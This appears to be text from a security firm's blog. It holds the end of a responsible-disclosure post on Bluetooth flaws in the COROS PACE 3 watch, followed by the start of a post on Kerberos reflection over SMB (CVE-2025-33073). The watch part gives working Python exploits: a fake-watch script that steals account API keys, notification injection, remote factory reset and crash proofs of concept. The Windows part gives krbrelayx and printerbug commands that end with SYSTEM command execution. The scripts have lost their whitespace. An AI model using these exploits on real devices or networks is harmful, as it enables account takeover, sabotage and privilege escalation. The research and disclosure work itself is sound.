[bluetooth]# connect F7:AF:1D:27:03:B0
Attempting to connect to F7:AF:1D:27:03:B0
[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Connected: yes[COROS PACE 3 7A8F48]# Connection successful
[COROS PACE 3 7A8F48]# pair
Attempting to pair with F7:AF:1D:27:03:B0
[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Bonded: yes[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Paired: yes[COROS PACE 3 7A8F48]# Pairing successful
During this process, the pairing can be observed within Wireshark as shown below:
Pairing with the COROS PACE 3
To our surprise, the COROS PACE 3 identifies itself as having no IO capabilities,
despite the fact that it clearly features a display and physical buttons.
According to the Bluetooth specification, this classification forces the use of the Just Works pairing method,
which does not provide protection against adversary-in-the-middle (AITM) attacks.
The following image shows the mapping of the pairing methods based on the IO capabilities:
Furthermore, the COROS PACE 3 does not support Bluetooth Secure Connections, which is a more secure pairing method introduced in Bluetooth 4.2.
As a result, the watch does not use Elliptic-Curve Diffie-Hellman (ECDH) for key exchange.
Instead, it falls back to the older (legacy) pairing method based on Short-Term Keys (STK), which relies on a temporary key that is either known or easily guessable.
This makes the pairing process vulnerable to eavesdropping and key extraction, especially when combined with the Just Works IO model described earlier.
iOS
The following image shows, how a new watch can be added within the COROS iOS app.
Pairing menu in the COROS iOS app
Once the user selects the device, the app establishes a BLE connection to the watch.
Shortly after, several GATT characteristics are read and written,
followed by an AuthReq (Authentication Request) message from the watch.
This triggers the iOS BLE pairing process.
As described in the previous section, the COROS PACE 3 enforces Legacy Pairing using the Just Works method.
Besides classic adversary-in-the-middle attacks against the Legacy Pairing, we also observed that the pairing process is not strictly required for the assignment to succeed.
In practice, if the AuthReq is dropped during the initial setup, the pairing fails silently –
yet the app still gains access to read and write the watch’s BLE characteristics (see also Services & characteristics).
This opens the door for downgrade attacks, where an attacker prevents secure pairing from completing and forces the devices into unencrypted communication.
Tools like WHAD make executing such attacks straightforward:
In summary, the security of the BLE communication between the COROS PACE 3 and the iOS app depends on the integrity of the initial pairing process.
If an attacker is nearby during inital setup, they can intercept, downgrade, or manipulate the pairing process.
Android
In theory, the same pairing vulnerabilities observed with the COROS iOS app should also apply when using the Android version.
However, in practice, things turned out to be quite different.
Although the overall setup process appears nearly identical from a user perspective, we observed a key technical difference:
When pairing with an Android device, the watch does not send an AuthReq, meaning that no pairing or bonding is initiated at all.
By analyzing the BLE traffic during setup,
we identified that the watch differentiates between Android and iOS clients based on how the mobile application identifies itself during the initial connection:
Depending on this identification, the watch adapts its behavior:
When an iOS device initiates the setup, the watch triggers the BLE pairing process by sending an AuthReq, aiming to establish a bonded connection.
When an Android device is used, this step is completely skipped – no AuthReq is sent, and no pairing or bonding takes place.
This behavior significantly worsens the overall security posture.
Without pairing, the communication between the Android app and the watch is neither encrypted nor authenticated.
As a result, an attacker does not need to be present during the first-time use.
Any ongoing BLE connection between an Android phone and the watch can be intercepted, sniffed, or tampered with,
making attacks far more practical and harder to detect.
So why does the COROS PACE 3 enforce pairing and bonding on iOS, but not on Android?
We assume this behavior is related to how iOS handles Bluetooth notifications.
In Apple’s Bluetooth stack, notifications from a mobile device (such as call or message alerts) can only be delivered to a BLE peripheral if the devices are bonded.
This security requirement is enforced at the operating system level.
The following screenshot shows the iOS Bluetooth settings where notification options for a paired device only appear after a successful bonding process:
iOS notification settings for paired and bonded devices
On Android, however, these system-level restrictions do not exist in the same form.
Apps can typically manage BLE notifications without requiring a bonded connection.
As a result, the COROS app on Android skips the pairing process entirely whether for convenience or due to differences in implementation.
Bonus: Even if the COROS PACE 3 is manually paired and bonded on an Android device using third-party tools like nRF Connect,
this has no impact on how the official COROS app communicates with the watch.
The app continues communicating unencrypted by directly reading from and writing to BLE characteristics, as if no pairing had occurred at all.
The following image shows the bonded state of the COROS PACE 3 within the nRF Connect app.
COROS PACE 3 bonded via nrf Connect
COROS account takeover
While taking a closer look the the actual BLE communication between the app and the COROS PACE 3,
we noticed that several sensitive data is transmitted from the phone to the watch every time it gets connected.
One example is the API key (accessToken) associated with the logged-in user account in the COROS app.
This key is used to authenticate against the COROS back-end services and grants access to critical features such as uploading and downloading training data,
managing user preferences, and modifying account information.
So besides the already described adversary-in-the-middle attacks, we developed a tool to emulate a fake COROS watch with the goal to steal this API key:
fromwhad.bleimportPeripheralfromwhad.ble.profile.advdataimportAdvCompleteLocalName,AdvDataFieldList,AdvFlagsField,AdvLeSupportedFeaturesfromwhad.ble.profile.attributeimportUUIDfromwhad.deviceimportWhadDevicefromtimeimportsleepimportsysfromstructimportpack,unpackfromwhad.ble.profileimportPrimaryService,Characteristic,GenericProfile,read,writefromwhad.ble.stack.smpimportPairingfromwhad.common.monitorsimportWiresharkMonitorimportbinasciifromhexdumpimporthexdump# Define your custom profile
classcoros_dev(GenericProfile):# Generic Access
s_generic_access=PrimaryService(uuid=UUID(0x1800),device_name=Characteristic(uuid=UUID(0x2A00),permissions=['read'],value=b'COROS PACE 3 7A8F48'),)# Battery Service
s_battery=PrimaryService(uuid=UUID(0x180f),battery_level=Characteristic(uuid=UUID(0x2a19),permissions=['read'],notify=True,value=pack('B',100)),)# Device Information
s_dev_info=PrimaryService(uuid=UUID(0x180a),model=Characteristic(uuid=UUID(0x2a24),permissions=['read'],Security=True,value=b'COROS W331'),serial=Characteristic(uuid=UUID(0x2a25),permissions=['read'],value=b'1D27038D20ED'),hw_rev=Characteristic(uuid=UUID(0x2a27),permissions=['read'],value=b'W31AC29189'),sw_rev=Characteristic(uuid=UUID(0x2a28),permissions=['read'],value=b'V 3.0708.0'),)# 6e400001b5a3f393e0a977656c6f6f70
s_6f70=PrimaryService(uuid=UUID(0x6e400001b5a3f393e0a977656c6f6f70),c_f6f70_read=Characteristic(uuid=UUID(0x6e400003b5a3f393e0a977656c6f6f70),permissions=['read'],notify=True),c_f6f70_write=Characteristic(uuid=UUID(0x6e400002b5a3f393e0a977656c6f6f70),permissions=['write_without_response']),)# 6e400001b5a3f393e0a9e50e24dcca9e
s_ca9e=PrimaryService(uuid=UUID(0x6e400001b5a3f393e0a9e50e24dcca9e),c_ca9e_read=Characteristic(uuid=UUID(0x6e400003b5a3f393e0a9e50e24dcca9e),permissions=['read'],notify=True,value=pack('B',100)),c_ca9e_write=Characteristic(uuid=UUID(0x6e400002b5a3f393e0a9e50e24dcca9e),permissions=['write_without_response']),)# 6e400001b5a3f393e0a977757c7f7f70
s_7f70=PrimaryService(uuid=UUID(0x6e400001b5a3f393e0a977757c7f7f70),c_7f70_read=Characteristic(uuid=UUID(0x6e400003b5a3f393e0a977757c7f7f70),permissions=['read'],notify=True),c_7f70_write=Characteristic(uuid=UUID(0x6e400002b5a3f393e0a977757c7f7f70),permissions=['write_without_response']),)# Heart Rate
s_heart=PrimaryService(uuid=UUID(0x180d),hrm=Characteristic(uuid=UUID(0x2a37),permissions=[''],notify=True,value=pack('B',100)),)@write(s_6f70.c_f6f70_write)defon_c_f6f70_write(self,offset,length,without_response):recv=binascii.hexlify(self.s_6f70.c_f6f70_write.value)ifdebug==True:hexdump(binascii.unhexlify(recv))ifrecv[:4]==b'a500':self.s_6f70.c_f6f70_read.value=bytes.fromhex("A500318D03271DAFF785240D4EB07E014C0098C2")self.s_6f70.c_f6f70_read.value=bytes.fromhex("0D000901000A")ifrecv[:4]==b'b000':self.s_6f70.c_f6f70_read.value=bytes.fromhex("B0000100170001020304050608090A260B0C0D0E101112141A1C1E1F011455565762656A4A5A707172735074777576787900021480804E09E1FFF66FF5FF75BE0C1FDEF43D010000040202003F")ifrecv[:4]==b'8b00':self.s_6f70.c_f6f70_read.value=bytes.fromhex("8B000101")ifrecv[:4]==b'a600':self.s_6f70.c_f6f70_read.value=bytes.fromhex("A6000101")ifrecv[:4]==b'b200':print("Access key received:")hexdump(binascii.unhexlify(recv))self.s_6f70.c_f6f70_read.value=bytes.fromhex("")returniflen(sys.argv)>=2:my_profile=coros_dev()device=WhadDevice.create(sys.argv[1])debug=Falsepairing=Pairing(lesc=True,mitm=True,bonding=True,)address="F7:AF:1D:27:03:09"periph=Peripheral(device,profile=my_profile,pairing=pairing)print(periph.get_mtu())periph.set_mtu(80)ifdebug==True:monitor=WiresharkMonitor()monitor.attach(periph)monitor.start()try:periph.enable_peripheral_mode(adv_data=AdvDataFieldList(AdvCompleteLocalName(b'COROS PACE 3 7A8F48'),AdvLeSupportedFeatures(data_packet_length=True,privacy=True),AdvFlagsField()))print('Press a key to disconnect')input()periph.stop()periph.close()exceptKeyboardInterrupt:periph.close()print(e)sys.exit()else:print("Usage:",sys.argv[0],"<interface>")
Once the script is executed, all we need to do is wait for an Android phone with the COROS app installed to come into Bluetooth range.
As soon as it detects our advertising fake device, the app connects, begins interaction and ultimately sends us the valid API key:
Of course, this practically only works with the Android app since it does not require the watch to be bonded and
therefore there is no long-term key (LTK) which has to be known by the attacker.
Notifications
The COROS PACE 3 allows displaying notifications received from the smartphone.
For instance, this invloves messages received via various mobile apps such as WhatsApp or iMessage.
The following image shows the notification on the watch:
Received notification
The above notification is written to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77757c7f7f70 as follows:
So the structure follows a custom Type-Length-Value (TLV) format with NULL byte termination:
Offset
Field
Value
Interpretation
0x00
Header
7900ff
Message header
0x03
Head Line 0
00
Type for line 0
0x04
Length Line 0
0c
Length of line 0
0x05
Line 0
636f6d2e7768617473617070
Package name: "com.whatsapp"
0x0D
Head Line 1
10
Type for line 1
0x0E
Length Line 1
06
Length of line 1
0x0F
Line 1
4841434b4544
Content of line 1: "HACKED"
0x15
Head Line 2
20
Type for line 2
0x16
Length Line 2
11
Length of line 2
0x17
Line 2
6861636b656420627920537953532000
Content of line 2: "hacked by SySS"
0x28
Terminator
00
End of message marker
Besides eavesdropping the messages and their content (see Pairing & bonding), an attacker is also able to inject notifications.
As a proof of concept, we used the following Python script to inject notifications:
importasyncioimportsysfrombleakimportBleakClientUUID="6e400002b5a3f393e0a977757c7f7f70"defencode_message(package_name:str,line1:str,line2:str)->bytes:message=bytearray.fromhex("7900ff")# Line 0
message+=b'\x00'line0_bytes=package_name.encode('utf-8')message+=len(line0_bytes).to_bytes(1,'big')message+=line0_bytes# Line 1
message+=b'\x10'line1_bytes=line1.encode('utf-8')message+=len(line1_bytes).to_bytes(1,'big')message+=line1_bytes# Line 2
message+=b'\x20'line2_bytes=line2.encode('utf-8')message+=len(line2_bytes).to_bytes(1,'big')message+=line2_bytes# Terminator
message+=b'\x00'returnbytes(message)asyncdefwrite_to_ble_device(address,message_bytes):client=BleakClient(address)try:awaitclient.connect()awaitasyncio.sleep(2)ifclient.is_connected:awaitclient.write_gatt_char(UUID,message_bytes,response=False)awaitasyncio.Event().wait()finally:ifclient.is_connected:awaitclient.disconnect()if__name__=="__main__":iflen(sys.argv)<5:print("Usage: python notification.py <BLE_ADDRESS> <PACKAGE_NAME> <LINE1> <LINE2>")sys.exit(1)device_address=sys.argv[1]pkg=sys.argv[2]l1=sys.argv[3]l2=sys.argv[4]msg=encode_message(pkg,l1,l2)asyncio.run(write_to_ble_device(device_address,msg))
Using this script, arbitrary notifications can be injected:
1
$ python3 notification.py f7:af:1d:27:03:06 com.microsoft.teams CEO 'you are fired!'
Injected notification
Configuration manipulation
Since the watch’s settings can be configured via the app, this could also obviously be done by an attacker abusing writing to the specific characteristics.
For example, we reconstructed the Do not Disturb (DnD) message structure, which is written by the app to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77656c6f6f70:
defgenerate_dnd_message(start_hour,start_minute,end_hour,end_minute,activate=True):command="8600"ifactivate:mode="01"else:mode="00"start_hour_hex=f"{start_hour:02x}"start_minute_hex=f"{start_minute:02x}"end_hour_hex=f"{end_hour:02x}"end_minute_hex=f"{end_minute:02x}"checksum_value=(int(mode,16)+start_hour+start_minute+end_hour+end_minute)%256checksum=f"{checksum_value:02x}"message=(command+mode+start_hour_hex+start_minute_hex+end_hour_hex+end_minute_hex+checksum)returnmessage# Sample configuration:
# 1:06 AM
start_hour=1start_minute=6# 04:17 AM
end_hour=4end_minute=17activation_message=generate_dnd_message(start_hour,start_minute,end_hour,end_minute,activate=True)deactivation_message=generate_dnd_message(start_hour,start_minute,end_hour,end_minute,activate=False)print(f"Activate: {activation_message}")print(f"Deactivate: {deactivation_message}")
Of couse, this is just an example; further device configurations are possible following similar pattern.
Find my Device
Another interesting function is the Find my Device option on both the watch to find the phone as well as in the mobile app to find the watch.
Writing 0xb400 to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77656c6f6f70 causes the watch to beep and blink:
Find my Device function
On the other hand, using our fake device (see COROS account takeover),
we can also trigger the phone alert.
This can be done if we notify 0x04000000 via the characteristic with the UUID 6e400003-b5a3-f393-e0a9-77656c6f6f70 on which the phone is subscribed to.
Factory reset
An interesting function is factory-resetting the watch by writing 0x8500 to the characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70.
Moreover, we also observed that the watch changes its own Bluetooth hardware address by expanding the factory reset command to 0x850001.
This causes the last octet of the Bluetooth address to be increased by 1:
Device address after factory reset
While continuously running the following Python script, we determined that after reaching 0xFF on the last octet, it starts again from 0x00:
importasynciofrombleakimportBleakScanner,BleakClientTARGET_NAME="COROS PACE 3 7A8F48"CHARACTERISTIC_UUID="6e400002-b5a3-f393-e0a9-77656c6f6f70"HEX_VALUE="850001"asyncdefmain():print("Scanning for BLE devices...")devices=awaitBleakScanner.discover(timeout=5.0)target_device=Nonefordindevices:ifd.name==TARGET_NAME:target_device=dbreakifnottarget_device:print(f"Device '{TARGET_NAME}' not found.")returnprint(f"Device found: {target_device.name} ({target_device.address})")asyncwithBleakClient(target_device.address)asclient:ifnotclient.is_connected:print("Failed to connect.")returndata=bytes.fromhex(HEX_VALUE)print(f"Sending data: {data.hex()} to characteristic {CHARACTERISTIC_UUID}")try:awaitclient.write_gatt_char(CHARACTERISTIC_UUID,data,response=True)print("Write successful.")exceptExceptionase:print(f"Error during write: {e}")if__name__=="__main__":asyncio.run(main())
Apart from the fact that the device must be re-paired, factory-resetting the device can ruin a victim’s race day.
An attacker could trigger the factory reset of a passing athlete, causing the current activity recording to end immediately,
all data to be lost, and the watch to restart with default settings – the end of a successful race:
Factory reset during an activity
Black-box fuzzing
During our analysis, we also used the gained knowledge about the message structures to conduct several black-box-based fuzzing tests.
The inputs were generated using radamsa and written to the corresponding characteristics of the watch with the following Python script:
importasyncioimportargparsefrombleakimportBleakClientasyncdefprocess_data(file_path):withopen(file_path,"r")asfile:lines=[line.strip()forlineinfileifline.strip()]returnlinesasyncdefwrite_to_ble_device(device_address,characteristic_uuid,data_file):client=BleakClient(device_address)last_sent_data=Nonetry:data_lines=awaitprocess_data(data_file)total_lines=len(data_lines)iftotal_lines==0:print("Error: The data file is empty.")returnawaitclient.connect()awaitasyncio.sleep(2)ifclient.is_connected:print(f"Connected to {device_address}")forindex,hex_datainenumerate(data_lines,start=1):last_sent_data=hex_datadata_bytes=bytes.fromhex(hex_data)awaitclient.write_gatt_char(characteristic_uuid,data_bytes,response=False)progress=(index/total_lines)*100print(f"Sent: {hex_data} [{progress:.2f}% complete]")print("Connection remains open. Press CTRL+C to exit.")awaitasyncio.Event().wait()exceptExceptionase:print(f"Error: {e}")iflast_sent_data:print(f"Last sent data: {last_sent_data}")finally:ifclient.is_connected:awaitclient.disconnect()if__name__=="__main__":parser=argparse.ArgumentParser(description="Send hex data from a file to a BLE device.")parser.add_argument("-m","--mac",required=True,help="MAC address of the BLE device")parser.add_argument("-c","--characteristic",required=True,help="UUID of the characteristic to write to")parser.add_argument("-f","--file",required=True,help="File containing hex-formatted data")args=parser.parse_args()asyncio.run(write_to_ble_device(args.mac,args.characteristic,args.file))
NULL pointer dereference
During black-box fuzzing, we determined that the data 0x7900ff00002e written to the characteristic 6e400002b5a3f393e0a977757c7f7f70 causes a crash,
resulting in an immediate reboot of the watch.
This crash also occurs during an ongoing activity:
Device crash during an activity
Similar to factory-resetting the device (see Factory reset),
this allows an attacker triggering the crash, for example during a race, resulting in complete data loss of the recorded data and a reboot of the watch.
After further analysis of the firmware, it could be determined that a NULL pointer dereference vulnerability is the root cause of this crash.
More technical details about this vulnerability will be described in an upcoming blog post about the firmware analysis.
Out-of-bounds read
Similar to the crash described above, writing 0xb900 followed by a two byte message,
where the second byte is NULL, to the characteristic 6e400002b5a3f393e0a977656c6f6f70
also leads to a crash and forces a device reboot.
The following proof-of-concept Python script exploits this circumstance:
importasynciofrombleakimportBleakClientDEVICE_ADDRESS="F7:AF:1D:27:03:b0"CHARACTERISTIC_UUID="6e400002b5a3f393e0a977656c6f6f70"DATA=["b900","0000"]asyncdefwrite_to_ble_device():client=BleakClient(DEVICE_ADDRESS)try:awaitclient.connect()awaitasyncio.sleep(2)ifclient.is_connected:print(f"connected to {DEVICE_ADDRESS}")forpayloadinDATA:awaitclient.write_gatt_char(CHARACTERISTIC_UUID,bytes.fromhex(payload),response=False)exceptExceptionase:print(f"Error: {e}")finally:ifclient.is_connected:awaitclient.disconnect()asyncio.run(write_to_ble_device())
During firmware analysis, an out-of-bounds read was determined as root cause for this crash, which will be described in more detail in an upcoming blog post.
Conclusion
We found several security vulnerabilities in the COROS PACE 3 which allow attackers within the Bluetooth range to perform different authorized actions, for example
hijacking the assigned COROS user account, eavesdropping on sensitive data, or injecting notification messages.
Furthermore, the watch can be reset or crashed remotely, which for instance results in activity interruption and the complete loss of recoreded data.
The following table provides an overview of the found security vulnerabilities.
Vulnerability Type
SySS ID
CVE ID
Use of a Broken or Risky Cryptographic Algorithm (CWE-327)
We reported all found security vulnerabilities to the vendor in the course of our responsible disclosure program.
The timeline and current status of each vulnerability can be found in the corresponding security advisory.
At the time of publication, not all vulnerabilities have been resolved.
Update 2025-08-11
After public disclosure, the research was covered by DC Rainmaker in a blog post and a YouTube video:
Subsequently, the topic gained wider public attention.
The vendor confirmed that the vulnerabilities existed across several product lines and prioritized providing security patches.
According to the vendors release notes, the vulnerabilities were ultimately addressed in different patches.
We would also like to refer to our recently published blog post on the firmware analysis.
Describing the Bluetooth security concepts and their specifications are beyond the scope of this blog post. ↩
Authentication coercion of machine accounts and Kerberos relaying/reflection over SMB2025-06-12T08:00:00+02:002025-06-12T09:37:19+02:00https://blog.syss.com/posts/kerberos-reflection/Stefan Walter, Daniel Isern
In this blog article, further technical details concerning the Microsoft Windows SMB security vulnerability CVE-2025-33073 are presented.
In this blog article, further technical details concerning the Microsoft Windows SMB security vulnerability CVE-2025-33073 are presented.
This security vulnerability was independently found and reported to Microsoft within the last few months by different security researchers, and a corresponding security update was released on Patch Tuesday June 2025 (June 10, 2025).
This blog post describes a variation of Kerberos relaying in Active Directory domains.
It does not introduce anything essentially new, but applies existing tools.
However, this issue seems to be a similar problem to MS08-068 (NTLM reflection), but for Kerberos.
Any authenticated attacker can remotely gain administrative permissions on many domain-joined computers (e.g. except domain controllers, Windows 11 and Windows Server 2025 systems) in the default configuration.
If you’re already familiar with Kerberos and Kerberos relaying, what you probably care about most is this section.
The behavior exploited here is as follows:
After authentication coercion of a machine account (which can be deterministically triggered), where the authentication to the attacker’s system usually occurs over SMB/Kerberos, it is possible to relay/reflect the authentication attempt back to the attacked system over SMB/Kerberos, yielding administrative privileges on it.
This was verified in an up-to-date lab environment and also during real-world engagements.
It neatly fits into the existing research and tooling, which – without claiming completeness (I’m sure I forgot some) – covers:
Many variations with different from/to protocols; presented by James Forshaw.12
Exploitation of Kerberos unconstrained delegation; by Dirk-jan Mollema.3
Cross-protocol relay attacks, for example from HTTP (to LDAP/LDAPS) (e.g. RBCD/Shadow credentials) or (from SMB/DNS, for instance) to HTTP (e.g. similar to AD CS ESC8); or Kerberos relaying attacks based on MitM of user accounts (e.g. via LLMNR/NBNS or ARP spoofing or any other preferred method, or placing LNK/link files or search connector files on writable shares, etc.) like demonstrated here4, in Dirk-jan Mollema’s krbrelayx5, in Andrea Pierini’s (decoder-it) KrbRelayEx6 and KrbRelay-SMBServer7, some Potato exploits like SilverPotato8, which use DCOM as a trigger for authentication coercion, or here9.
Local Kerberos relaying for local privilege escalation (e.g. in cube0x0 krbrelay10).
Attack Summary
Prerequisites:
Access to an arbitrary unprivileged Active Directory account (here attacker)
Bidirectional network access from the attacker system to the SMB port (TCP port 445) of the target system to be attacked (here srv1) and back from the target system to the SMB port of the attacker system
Server-side SMB signing on srv1 must not be enforced (this is the default for Windows systems before Windows 11 or Windows Server 2025)
Ability to set a DNS entry; this can usually be done via Active Directory Integrated DNS (ADIDNS), given an arbitrary unprivileged Active Directory account
Attack (attacked computer: srv1, attacker computers: attacker-lin and attacker-win):
Adding DNS entry that unmarshalls to correct target SPN
Authentication coercion of srv1 to attacker-lin over Kerberos via SMB (authentication occurs via KRB_AP_REQ as machine account srv1$ of srv1)
Relay of Kerberos authentication (KRB_AP_REQ) back to srv1 over SMB
Result/impact: administrative privileges on the attacked computer srv1 (remote privilege escalation).
In case the attacked computer is a domain controller without SMB signing (per default DCs enforce SMB signing): full domain compromise.
Note especially: what may be unexpected in Kerberos relaying in this case compared to NTLM relaying (that results in greater impact, compare Pixis / hackndo11):
Reflection/relay of authentication from srv1 back to srv1 works
Machine account srv1$ yields administrative privileges on srv1
Mitigation: enforce SMB signing on srv1 (Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Microsoft network server: Digitally sign communications (always): Enabled)
Introduction: Kerberos
This is a very short primer on the basic functionality of Kerberos, based on the example of a user accessing a network resource like, e.g., a file share on a server srv1 in the Active Directory domain.
We won’t go into much detail and omit information, e.g. how exactly various parts of the protocol exchange are cryptographically protected.
Further information can be found, for example, in the Microsoft documentation12, in this excellent article by Pixis / hackndo13, or in the RFC14 specification.
The central authority is the Kerberos Key Distribution Center (KDC).
In Active Directory environments its role is assumed by the domain controllers.
For our purposes the relevant services inside the KDC are the authentication service (AS) and the ticket granting service (TGS).
If a user wants to access a network resource, they first have to authenticate themselves against the AS of the KDC.
This occurs in the KRB_AS_REQ message based on a shared secret that is usually derived from the user’s password.
In case the authentication is successful, the AS replies with a KRB_AS_REP that contains a ticket granting ticket (TGT) and a session key.
The TGT is subsequently used to represent the user’s identity and is service-independent.
In the next step, if the user wants to access the SMB service on a server srv1, they issue a KRB_TGS_REQ to the TGS of the KDC.
This request contains the previously obtained TGT for authentication and also specifies which service exactly the user wants to access.
The latter part is specified by a Service Principal Name (SPN), which for our purposes consists of a service class (e.g. cifs for the SMB file sharing service) and a target server name (e.g. here srv1).
The TGS in turn responds with a KRB_TGS_REP, which contains a service ticket (here abbreviated to ST).
This ST is specific to the system and service class (with some caveats) it was issued for and can only be used there.
Finally, the user presents the obtained ST (and an authenticator) in a KRB_AP_REQ message to the actual service they want to access (here cifs/srv1).
Based on the identity of the user listed in the ticket, the server decides either to grant or deny access and sends a corresponding KRB_AP_REP back, after which the encapsulating application protocol (here SMB) takes over again.
Introduction: Kerberos Relaying
Kerberos relaying has been studied in detail e.g. by James Forshaw.12
Dirk-jan Mollema wrote krbrelayx5 and published accompanying research.34
Another good post is available from Hugo Vincent at Synacktiv.9
In summary (for what is relevant here): It is possible to relay the KRB_AP_REQ request to other servers.
The challenge lies in obtaining a valid KRB_AP_REQ targeted for another system, since it is specific to the target SPN.
Here, James Forshaw discovered a cool trick in the way SPNs are handled in Windows:
The SPN is not taken as is, but first converted through CredMarshalTargetInfo/CredUnmarshalTargetInfo, which encode other information into the value that is then actually used for authentication.
This essentially allows forcing a mismatch between the target system as seen from a DNS point of view versus the target name and secrets actually used for Kerberos authentication:
It allows constructing target names for SPNs that resolve to an attacker-controlled IP via DNS, but whose Kerberos authentication information is taken from the existing service/system.
Going back to the example of the previous section: Together with authentication coercion this enables deterministic triggering of a KRB_AP_REQ as the machine account srv1$ for the Kerberos cifs/srv1 service/SPN, which on the network is sent to an attacker-controlled system and can subsequently be relayed.
Lab Environment Test Setup
The described behavior was verified in a freshly set up Active Directory domain mydomain.local with systems’ IP addresses in the range 10.10.10.0/24:
Windows version
Hostname
IP address
Comment/Function
Windows Server 2025
dc1
10.10.10.20
Domain controller, Active Directory
Windows Server 2022
srv1
10.10.10.50
Server
Windows 10 Enterprise
client1
10.10.10.80
Client
Linux (Kali)
attacker-lin
10.10.10.200
Attacker Linux VM (non-domain-joined)
Windows 10 Enterprise
attacker-win
10.10.10.201
Attacker Windows VM (non-domain-joined)
The exact Windows Versions are the following:
dc1: Microsoft Windows Server 2025 Standard Evaluation (10.0.26100)
srv1: Microsoft Windows Server 2022 Standard Evaluation (10.0.20348)
client1 and attacker-win: Microsoft Windows 10 Enterprise Evaluation (10.0.19045)
All machines joined to the domain (dc1, srv1 and client1) as well as the domain itself are freshly installed or set up and fully updated (as of 2025-03-31) trial Windows versions.
They are set up in default configuration except for the following modification:
On srv1 file and printer sharing was allowed through the Windows firewall to make the SMB service accessible to the network.
All accounts (local and in the Active Directory) have unique passwords assigned.
It is assumed that the attacker has control over an unprivileged Active Directory account, attacker;
the user was created with net user attacker aPass!0 /add /domain /y and is only member of the Domain Users group.
The Attack in Detail
Here, we outline the individual steps for attacking srv1 in detail.
The same steps work identically against client1.
All steps can be performed using already publicly available tools; however, for krbrelayxa small patch has to be applied.
Verify that server-side SMB signing on srv1 is not enforced:
$ nmap -sVC-p 445 srv1.mydomain.local
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 18:37 CEST
Nmap scan report for srv1.mydomain.local (10.10.10.50)
Host is up (0.00081s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
MAC Address: 52:54:00:7C:04:FE (QEMU virtual NIC)
Host script results:
|_nbstat: NetBIOS name: SRV1, NetBIOS user: <unknown>, NetBIOS MAC: 52:54:00:7c:04:fe (QEMU virtual NIC)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-03-31T16:38:13
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.66 seconds
Note that throughout the blog post the same information is provided as both listings (for searching and copy-pasting) and images (for better visuals).
First, we register the name srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA in the internal DNS and point it to our attacker-lin system.
An unprivileged Active Directory account is sufficient for this.
This can be achieved, for example, via ADIDNS using Powermad15 from attacker-win:
On attacker-win: open new security context as domain user attacker:
If not configured correctly, domain controllers may also allow unauthenticated dynamic DNS updates; but this is not the default.
The value 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA is from James Forshaw’s post2 and its purpose will become clear in the next steps.
Second, we start up a SMB listener (TCP port 445) that will relay/forward the later incoming authentication attempt.
This is done using the krbrelayx tool by Dirk-jan Mollema5, with a small patch applied.
As target for the forwarding, the SMB service on srv1 is specified.
Additionally, we instruct krbrelayx to execute a shell command on the target system upon successful relay as a demonstration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 krbrelayx.py -t smb://srv1.mydomain.local -debug-c'cmd /c "whoami /all & hostname & ipconfig"'[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
Third, we coerce an authentication attempt over SMB/Kerberos of the machine account srv1$ to this newly added srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS hostname entry, which – to reiterate – points to attacker-lin.
As described by James Forshaw1, this causes the following behavior:
The network connection is made to attacker-lin, since this is the target that the DNS entry resolves to.
However, on the layer of the application protocol SMB/Kerberos, the authentication in the KRB_AP_REQ is made to the SPN cifs/srv1.
This is due to the way SPNs are constructed for SMB authentication, since after CredUnmarshalTargetInfo the targetName of CREDENTIAL_TARGET_INFORMATIONA is srv1.
For this coercion, control of a low-privileged Active Directory account is sufficient.
There are several ways of triggering such an authentication attempt over different remote procedure calls and several tools that implement them, like e.g. Coercer or PetitPotam.
Here, we choose the printerbug implementation by Dirk-jan Mollema5:
1
2
3
4
5
6
7
8
$ python3 printerbug.py 'mydomain.local/attacker:aPass!0@srv1.mydomain.local' srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
[*] Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attempting to trigger authentication via rprn RPC at srv1.mydomain.local
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
Now, the incoming connection is relayed by krbrelayx back to srv1 and the instructed commands are executed on srv1 with SYSTEM privileges:
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.10.10.50
[*] SMBD: Received connection from 10.10.10.50
[*] SMBD: Received connection from 10.10.10.50
[+] Service RemoteRegistry is already running
[+] ExecuteRemote command: %COMSPEC% /Q /c echo cmd /c "whoami /all & hostname & ipconfig" ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[*] Executed specified command on host: srv1.mydomain.local
USER INFORMATION
----------------
User Name SID
===========================
nt authority\system S-1-5-18
...
srv1
Windows IP Configuration
Ethernet adapter Ethernet Instance 0:
Connection-specific DNS Suffix . : mydomain.local
Link-local IPv6 Address ..... : fe80::d446:415f:da7c:7699%11
IPv4 Address. .......... : 10.10.10.50
Subnet Mask ........... : 255.255.255.0
Default Gateway ......... : 10.10.10.20
